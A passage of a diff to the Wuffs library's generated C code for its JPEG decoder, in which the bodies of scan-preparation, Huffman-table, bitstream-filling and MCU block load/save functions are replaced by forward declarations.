++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__quantize_dimension( ++ const wuffs_jpeg__decoder* self, ++ uint32_t a_width, ++ uint8_t a_h, ++ uint8_t a_max_incl_h); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_jpeg__decoder__prepare_scan( ++wuffs_jpeg__decoder__do_decode_frame_config( + wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_c = 0; +- uint32_t v_i = 0; +- uint32_t v_j = 0; +- uint32_t v_j_max_incl = 0; +- bool v_failed = false; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_prepare_scan[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_prepare_scan[0].v_i; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- if ((self->private_impl.f_payload_length < 6u) || (self->private_impl.f_payload_length > 12u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if ((v_c < 1u) || (v_c > 4u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- self->private_impl.f_scan_num_components = ((uint32_t)(v_c)); +- if ((self->private_impl.f_scan_num_components > self->private_impl.f_num_components) || (self->private_impl.f_payload_length != (4u + (2u * self->private_impl.f_scan_num_components)))) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- self->private_impl.f_payload_length = 0u; +- v_i = 0u; +- while (v_i < self->private_impl.f_scan_num_components) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- v_j = 0u; +- while (true) { +- if (v_j >= self->private_impl.f_num_components) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- if (v_c == self->private_impl.f_components_c[v_j]) { +- if ( ! self->private_impl.f_seen_dqt[self->private_impl.f_components_tq[v_j]]) { +- status = wuffs_base__make_status(wuffs_jpeg__error__missing_quantization_table); +- goto exit; +- } +- self->private_impl.f_scan_comps_cselector[v_i] = ((uint8_t)(v_j)); +- break; +- } +- v_j += 1u; +- } +- v_j = 0u; +- while (v_j < v_i) { +- if (self->private_impl.f_scan_comps_cselector[v_i] == self->private_impl.f_scan_comps_cselector[v_j]) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- v_j += 1u; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- v_c = t_2; +- } +- if (((v_c >> 4u) > 3u) || ((v_c & 15u) > 3u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- self->private_impl.f_scan_comps_td[v_i] = (v_c >> 4u); +- self->private_impl.f_scan_comps_ta[v_i] = (v_c & 15u); +- if (self->private_impl.f_sof_marker == 192u) { +- if ((self->private_impl.f_scan_comps_td[v_i] > 1u) || (self->private_impl.f_scan_comps_ta[v_i] > 1u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- } +- v_i += 1u; +- } +- if (self->private_impl.f_sof_marker < 194u) { +- self->private_data.s_prepare_scan[0].scratch = 3u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (self->private_data.s_prepare_scan[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_prepare_scan[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_prepare_scan[0].scratch; +- self->private_impl.f_scan_ss = 0u; +- self->private_impl.f_scan_se = 63u; +- self->private_impl.f_scan_ah = 0u; +- self->private_impl.f_scan_al = 0u; +- } else { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; +- } +- if (v_c > 63u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- self->private_impl.f_scan_ss = v_c; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- v_c = t_4; +- } +- if ((v_c > 63u) || (v_c < self->private_impl.f_scan_ss)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- self->private_impl.f_scan_se = v_c; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; +- } +- if (((v_c >> 4u) > 14u) || ((v_c & 15u) > 13u)) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- self->private_impl.f_scan_ah = (v_c >> 4u); +- self->private_impl.f_scan_al = (v_c & 15u); +- if (self->private_impl.f_scan_ah > 0u) { +- if ((self->private_impl.f_scan_ah - 1u) != self->private_impl.f_scan_al) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- } +- if (self->private_impl.f_scan_ss == 0u) { +- if (self->private_impl.f_scan_se != 0u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } else if (self->private_impl.f_scan_ah == 0u) { +- self->private_impl.choosy_decode_mcu = ( +- &wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits); +- } else { +- self->private_impl.choosy_decode_mcu = ( +- &wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit); +- } +- } else { +- if (self->private_impl.f_scan_num_components != 1u) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } else if (self->private_impl.f_scan_ah == 0u) { +- self->private_impl.choosy_decode_mcu = ( +- &wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits); +- } else { +- self->private_impl.choosy_decode_mcu = ( +- &wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit); +- } +- } +- } +- v_i = 0u; +- while (v_i < self->private_impl.f_scan_num_components) { +- if ((self->private_impl.f_scan_ss == 0u) && ! self->private_impl.f_seen_dht[(0u | self->private_impl.f_scan_comps_td[v_i])]) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- status = wuffs_jpeg__decoder__use_default_huffman_table(self, (0u | self->private_impl.f_scan_comps_td[v_i])); +- if (status.repr) { +- goto suspend; +- } +- } +- if ((self->private_impl.f_scan_se != 0u) && ! self->private_impl.f_seen_dht[(4u | self->private_impl.f_scan_comps_ta[v_i])]) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- status = wuffs_jpeg__decoder__use_default_huffman_table(self, (4u | self->private_impl.f_scan_comps_ta[v_i])); +- if (status.repr) { +- goto suspend; +- } +- } +- v_j = ((uint32_t)(self->private_impl.f_scan_ss)); +- v_j_max_incl = ((uint32_t)(wuffs_base__u8__min(self->private_impl.f_scan_se, 9u))); +- while (v_j <= v_j_max_incl) { +- self->private_impl.f_block_smoothing_lowest_scan_al[self->private_impl.f_scan_comps_cselector[v_i]][v_j] = self->private_impl.f_scan_al; +- v_j += 1u; +- } +- v_i += 1u; +- } +- if (self->private_impl.f_scan_num_components == 1u) { +- wuffs_jpeg__decoder__calculate_single_component_scan_fields(self); +- } else { +- v_failed = wuffs_jpeg__decoder__calculate_multiple_component_scan_fields(self); +- if (v_failed) { +- status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); +- goto exit; +- } +- } ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- goto ok; +- ok: +- self->private_impl.p_prepare_scan[0] = 0; +- goto exit; +- } ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__do_decode_frame( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); + +- goto suspend; +- suspend: +- self->private_impl.p_prepare_scan[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_prepare_scan[0].v_i = v_i; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_dht( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src); + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++WUFFS_BASE__GENERATED_C_CODE ++static bool ++wuffs_jpeg__decoder__calculate_huff_tables( ++ wuffs_jpeg__decoder* self, ++ uint8_t a_tc4_th, ++ uint32_t a_total_count); + +- return status; +-} ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__decode_sos( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); + +-// -------- func jpeg.decoder.use_default_huffman_table ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__prepare_scan( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status + wuffs_jpeg__decoder__use_default_huffman_table( + wuffs_jpeg__decoder* self, +- uint8_t a_tc4_th) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__slice_u8 v_data = {0}; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- if (a_tc4_th == 0u) { +- v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_LUMA), 29); +- } else if (a_tc4_th == 1u) { +- v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_CHROMA), 29); +- } else if (a_tc4_th == 4u) { +- v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_LUMA), 179); +- } else if (a_tc4_th == 5u) { +- v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_CHROMA), 179); +- } else { +- status = wuffs_base__make_status(wuffs_jpeg__error__missing_huffman_table); +- goto exit; +- } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- v_data, +- 0u); +- self->private_impl.f_payload_length = ((uint32_t)((((uint64_t)(v_data.len)) & 65535u))); +- { +- wuffs_base__status t_0 = wuffs_jpeg__decoder__decode_dht(self, v_r); +- v_status = t_0; +- } +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; +- } +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- +- ok: +- goto exit; +- exit: +- return status; +-} +- +-// -------- func jpeg.decoder.calculate_single_component_scan_fields ++ uint8_t a_tc4_th); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct + wuffs_jpeg__decoder__calculate_single_component_scan_fields( +- wuffs_jpeg__decoder* self) { +- uint8_t v_csel = 0; +- +- self->private_impl.f_scan_comps_bx_offset[0u] = 0u; +- self->private_impl.f_scan_comps_by_offset[0u] = 0u; +- self->private_impl.f_mcu_num_blocks = 1u; +- self->private_impl.f_mcu_blocks_sselector[0u] = 0u; +- v_csel = self->private_impl.f_scan_comps_cselector[0u]; +- self->private_impl.f_mcu_blocks_offset[0u] = self->private_impl.f_components_workbuf_offsets[v_csel]; +- self->private_impl.f_mcu_blocks_mx_mul[0u] = 8u; +- self->private_impl.f_mcu_blocks_my_mul[0u] = (8u * self->private_impl.f_components_workbuf_widths[v_csel]); +- self->private_impl.f_mcu_blocks_dc_hselector[0u] = (0u | self->private_impl.f_scan_comps_td[0u]); +- self->private_impl.f_mcu_blocks_ac_hselector[0u] = (4u | self->private_impl.f_scan_comps_ta[0u]); +- self->private_impl.f_scan_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, self->private_impl.f_components_h[v_csel], self->private_impl.f_max_incl_components_h); +- self->private_impl.f_scan_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, self->private_impl.f_components_v[v_csel], self->private_impl.f_max_incl_components_v); +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.calculate_multiple_component_scan_fields ++ wuffs_jpeg__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + static bool + wuffs_jpeg__decoder__calculate_multiple_component_scan_fields( +- wuffs_jpeg__decoder* self) { +- uint32_t v_i = 0; +- uint32_t v_h = 0; +- uint32_t v_v = 0; +- uint32_t v_hv = 0; +- uint32_t v_total_hv = 0; +- uint32_t v_b = 0; +- uint32_t v_bx_offset = 0; +- uint32_t v_by_offset = 0; +- uint8_t v_ssel = 0; +- uint8_t v_csel = 0; +- +- v_total_hv = 0u; +- v_i = 0u; +- v_b = 0u; +- v_bx_offset = 0u; +- v_by_offset = 0u; +- while (v_i < self->private_impl.f_scan_num_components) { +- v_h = ((uint32_t)(self->private_impl.f_components_h[self->private_impl.f_scan_comps_cselector[v_i]])); +- v_v = ((uint32_t)(self->private_impl.f_components_v[self->private_impl.f_scan_comps_cselector[v_i]])); +- v_hv = (((uint32_t)(self->private_impl.f_components_h[self->private_impl.f_scan_comps_cselector[v_i]])) * ((uint32_t)(self->private_impl.f_components_v[self->private_impl.f_scan_comps_cselector[v_i]]))); +- v_total_hv += v_hv; +- while (v_hv > 0u) { +- self->private_impl.f_scan_comps_bx_offset[(v_b & 15u)] = ((uint8_t)((v_bx_offset & 3u))); +- self->private_impl.f_scan_comps_by_offset[(v_b & 15u)] = ((uint8_t)((v_by_offset & 3u))); +- self->private_impl.f_mcu_blocks_sselector[(v_b & 15u)] = ((uint8_t)(v_i)); +- v_b += 1u; +- v_bx_offset += 1u; +- if (v_bx_offset == v_h) { +- v_bx_offset = 0u; +- v_by_offset += 1u; +- if (v_by_offset == v_v) { +- v_by_offset = 0u; +- } +- } +- v_hv -= 1u; +- } +- v_i += 1u; +- } +- if (v_total_hv > 10u) { +- return true; +- } +- self->private_impl.f_mcu_num_blocks = v_total_hv; +- v_b = 0u; +- while (v_b < self->private_impl.f_mcu_num_blocks) { +- v_ssel = self->private_impl.f_mcu_blocks_sselector[v_b]; +- v_csel = self->private_impl.f_scan_comps_cselector[v_ssel]; +- self->private_impl.f_mcu_blocks_offset[v_b] = (self->private_impl.f_components_workbuf_offsets[v_csel] + (8u * ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) + (8u * ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b])) * ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])))); +- self->private_impl.f_mcu_blocks_mx_mul[v_b] = (8u * ((uint32_t)(self->private_impl.f_components_h[v_csel]))); +- self->private_impl.f_mcu_blocks_my_mul[v_b] = (8u * ((uint32_t)(self->private_impl.f_components_v[v_csel])) * self->private_impl.f_components_workbuf_widths[v_csel]); +- self->private_impl.f_mcu_blocks_dc_hselector[v_b] = (0u | self->private_impl.f_scan_comps_td[v_ssel]); +- self->private_impl.f_mcu_blocks_ac_hselector[v_b] = (4u | self->private_impl.f_scan_comps_ta[v_ssel]); +- v_b += 1u; +- } +- self->private_impl.f_scan_width_in_mcus = self->private_impl.f_width_in_mcus; +- self->private_impl.f_scan_height_in_mcus = self->private_impl.f_height_in_mcus; +- return false; +-} +- +-// -------- func jpeg.decoder.fill_bitstream ++ wuffs_jpeg__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct + wuffs_jpeg__decoder__fill_bitstream( + wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src) { +- uint32_t v_wi = 0; +- uint8_t v_c = 0; +- uint32_t v_new_wi = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- if (self->private_impl.f_bitstream_ri <= 0u) { +- } else if (self->private_impl.f_bitstream_ri >= self->private_impl.f_bitstream_wi) { +- self->private_impl.f_bitstream_ri = 0u; +- self->private_impl.f_bitstream_wi = 0u; +- } else { +- v_wi = (self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri); +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_bitstream_buffer, 2048), wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, +- self->private_impl.f_bitstream_ri, +- self->private_impl.f_bitstream_wi)); +- self->private_impl.f_bitstream_ri = 0u; +- self->private_impl.f_bitstream_wi = v_wi; +- } +- v_wi = self->private_impl.f_bitstream_wi; +- while ((v_wi < 2048u) && (((uint64_t)(io2_a_src - iop_a_src)) > 0u)) { +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (v_c < 255u) { +- self->private_data.f_bitstream_buffer[v_wi] = v_c; +- v_wi += 1u; +- iop_a_src += 1u; +- continue; +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 1u) { +- break; +- } else if ((wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u) > 0u) { +- break; +- } else { +- self->private_data.f_bitstream_buffer[v_wi] = 255u; +- v_wi += 1u; +- iop_a_src += 2u; +- } +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) > 1u) { +- if ((wuffs_base__peek_u8be__no_bounds_check(iop_a_src) >= 255u) && ((wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u) > 0u)) { +- v_new_wi = (wuffs_base__u32__min(v_wi, 1784u) + 264u); +- v_new_wi = wuffs_base__u32__min(v_new_wi, (v_wi + self->private_impl.f_bitstream_padding)); +- if (v_wi < v_new_wi) { +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_bitstream_padding, (v_new_wi - v_wi)); +- wuffs_base__bulk_memset(&self->private_data.f_bitstream_buffer[v_wi], (v_new_wi - v_wi), 0u); +- v_wi = v_new_wi; +- } +- } +- } +- self->private_impl.f_bitstream_wi = v_wi; +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.load_mcu_blocks_for_single_component ++ wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +@@ -44752,9 +44689,7 @@ wuffs_jpeg__decoder__load_mcu_blocks_for_single_component( + uint32_t a_mx, + uint32_t a_my, + wuffs_base__slice_u8 a_workbuf, +- uint32_t a_csel) { +- return (*self->private_impl.choosy_load_mcu_blocks_for_single_component)(self, a_mx, a_my, a_workbuf, a_csel); +-} ++ uint32_t a_csel); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +@@ -44763,19 +44698,7 @@ wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default( + uint32_t a_mx, + uint32_t a_my, + wuffs_base__slice_u8 a_workbuf, +- uint32_t a_csel) { +- uint64_t v_stride16 = 0; +- uint64_t v_offset = 0; +- +- v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[a_csel] * 16u))); +- v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(a_mx)) * 128u) + (((uint64_t)(a_my)) * v_stride16)); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_base__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); +- } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.load_mcu_blocks ++ uint32_t a_csel); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +@@ -44783,34 +44706,7 @@ wuffs_jpeg__decoder__load_mcu_blocks( + wuffs_jpeg__decoder* self, + uint32_t a_mx, + uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf) { +- uint32_t v_b = 0; +- uint8_t v_csel = 0; +- uint64_t v_h = 0; +- uint64_t v_v = 0; +- uint64_t v_stride16 = 0; +- uint64_t v_offset = 0; +- +- v_h = 1u; +- v_v = 1u; +- v_b = 0u; +- while (v_b < self->private_impl.f_mcu_num_blocks) { +- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_b]]; +- if (self->private_impl.f_scan_num_components > 1u) { +- v_h = ((uint64_t)(self->private_impl.f_components_h[v_csel])); +- v_v = ((uint64_t)(self->private_impl.f_components_v[v_csel])); +- } +- v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[v_csel] * 16u))); +- v_offset = (self->private_impl.f_components_workbuf_offsets[(v_csel | 4u)] + (((v_h * ((uint64_t)(a_mx))) + ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) * 128u) + (((v_v * ((uint64_t)(a_my))) + ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b]))) * v_stride16)); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_base__bulk_load_host_endian(&self->private_data.f_mcu_blocks[v_b], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); +- } +- v_b += 1u; +- } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.save_mcu_blocks ++ wuffs_base__slice_u8 a_workbuf); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +@@ -44818,4983 +44714,17911 @@ wuffs_jpeg__decoder__save_mcu_blocks( + wuffs_jpeg__decoder* self, + uint32_t a_mx, + uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf) { +- uint32_t v_b = 0; +- uint8_t v_csel = 0; +- uint64_t v_h = 0; +- uint64_t v_v = 0; +- uint64_t v_stride16 = 0; +- uint64_t v_offset = 0; +- +- v_h = 1u; +- v_v = 1u; +- v_b = 0u; +- while (v_b < self->private_impl.f_mcu_num_blocks) { +- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_b]]; +- if (self->private_impl.f_scan_num_components > 1u) { +- v_h = ((uint64_t)(self->private_impl.f_components_h[v_csel])); +- v_v = ((uint64_t)(self->private_impl.f_components_v[v_csel])); +- } +- v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[v_csel] * 16u))); +- v_offset = (self->private_impl.f_components_workbuf_offsets[(v_csel | 4u)] + (((v_h * ((uint64_t)(a_mx))) + ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) * 128u) + (((v_v * ((uint64_t)(a_my))) + ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b]))) * v_stride16)); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_base__bulk_save_host_endian(&self->private_data.f_mcu_blocks[v_b], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); +- } +- v_b += 1u; +- } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.skip_past_the_next_restart_marker ++ wuffs_base__slice_u8 a_workbuf); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status + wuffs_jpeg__decoder__skip_past_the_next_restart_marker( + wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_c = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_skip_past_the_next_restart_marker[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; +- } else if (wuffs_base__peek_u8be__no_bounds_check(iop_a_src) < 255u) { +- iop_a_src += 1u; +- continue; +- } +- v_c = ((uint8_t)((wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u))); +- if (v_c < 192u) { +- iop_a_src += 2u; +- continue; +- } else if ((v_c < 208u) || (215u < v_c)) { +- break; +- } +- v_c &= 7u; +- if ((self->private_impl.f_next_restart_marker == ((v_c + 1u) & 7u)) || (self->private_impl.f_next_restart_marker == ((v_c + 2u) & 7u))) { +- break; +- } else if ((self->private_impl.f_next_restart_marker == ((v_c + 7u) & 7u)) || (self->private_impl.f_next_restart_marker == ((v_c + 6u) & 7u))) { +- iop_a_src += 2u; +- continue; +- } else { +- iop_a_src += 2u; +- break; +- } +- } +- self->private_impl.f_next_restart_marker = (((uint8_t)(self->private_impl.f_next_restart_marker + 1u)) & 7u); +- +- ok: +- self->private_impl.p_skip_past_the_next_restart_marker[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_skip_past_the_next_restart_marker[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func jpeg.decoder.apply_progressive_idct ++ wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct + wuffs_jpeg__decoder__apply_progressive_idct( + wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf) { +- uint32_t v_csel = 0; +- bool v_block_smoothing_applicable = false; +- uint32_t v_scan_width_in_mcus = 0; +- uint32_t v_scan_height_in_mcus = 0; +- uint32_t v_mcu_blocks_mx_mul_0 = 0; +- uint32_t 